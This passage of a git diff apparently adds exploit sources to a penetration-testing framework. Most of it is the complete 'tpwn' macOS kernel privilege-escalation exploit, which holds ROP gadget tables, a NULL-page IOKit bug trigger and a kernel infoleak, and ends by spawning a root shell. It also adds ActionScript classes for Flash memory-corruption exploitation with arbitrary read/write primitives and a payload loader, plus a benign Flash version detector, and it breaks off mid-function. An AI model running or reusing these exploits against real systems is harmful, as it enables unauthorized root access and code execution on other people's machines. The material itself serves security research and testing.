ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/external/source/exploits/tpwn/main.m b/external/source/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/external/source/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); + exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/external/source/flash_detector/bin/expressInstall.swf b/external/source/flash_detector/bin/expressInstall.swf new file mode 100755 index 0000000000..86958bf3a7 Binary files /dev/null and b/external/source/flash_detector/bin/expressInstall.swf differ diff --git a/external/source/flash_detector/bin/index.html b/external/source/flash_detector/bin/index.html new file mode 100755 index 0000000000..20a2ff2f1b --- /dev/null +++ b/external/source/flash_detector/bin/index.html @@ -0,0 +1,39 @@ + + + + + flash_detector + + + + + + + +
+

flash_detector

+

Get Adobe Flash player

+
+ + \ No newline at end of file diff --git a/external/source/flash_detector/bin/js/swfobject.js b/external/source/flash_detector/bin/js/swfobject.js new file mode 100755 index 0000000000..8eafe9dd83 --- /dev/null +++ b/external/source/flash_detector/bin/js/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2 + is released under the MIT License +*/ +var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/flash_detector/src/Main.as b/external/source/flash_detector/src/Main.as new file mode 100755 index 0000000000..d21babff27 --- /dev/null +++ b/external/source/flash_detector/src/Main.as @@ -0,0 +1,31 @@ +import flash.external.ExternalInterface +import System.capabilities + +class Main +{ + + public static function main(swfRoot:MovieClip):Void + { + // entry point + var app:Main = new Main(); + } + + public function Main() + { + var version:String = getVersion() + ExternalInterface.call("setFlashVersion", version) + } + + private function getVersion():String + { + try { + var version:String = capabilities.version + version = version.split(" ")[1] + version = version.split(",").join(".") + return version + } catch (err:Error) { + return "" + } + } + +} \ No newline at end of file diff --git a/external/source/flash_exploiter/Elf.as b/external/source/flash_exploiter/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/flash_exploiter/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploit.as b/external/source/flash_exploiter/Exploit.as new file mode 100755 index 0000000000..6bcca0ee45 --- /dev/null +++ b/external/source/flash_exploiter/Exploit.as @@ -0,0 +1,46 @@ +/* +Code to assist the creation of exploits for the trend of Flash vulnerabilities used in the wild along 2014/2015. + +It uses some ideas and code included on @hdarwin89 proof of concepts. + +* How to build: + 1. Download the AIRSDK, and use its compiler. + 2. Download the Flex SDK (4.6) + 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) + (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) + 4. Build with: mxmlc -o msf.swf Exploit.as + +*/ + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var uv:Vector. + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var exploiter:Exploiter + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + /* + The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger. + */ + + exploiter = new Exploiter(this, platform, payload, uv, 0x13e) + } + } +} diff --git a/external/source/flash_exploiter/ExploitByteArray.as b/external/source/flash_exploiter/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/flash_exploiter/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/flash_exploiter/ExploitVector.as b/external/source/flash_exploiter/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/flash_exploiter/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploiter.as b/external/source/flash_exploiter/Exploiter.as new file mode 100755 index 0000000000..591cdce944 --- /dev/null +++ b/external/source/flash_exploiter/Exploiter.as @@ -0,0 +1,367 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., 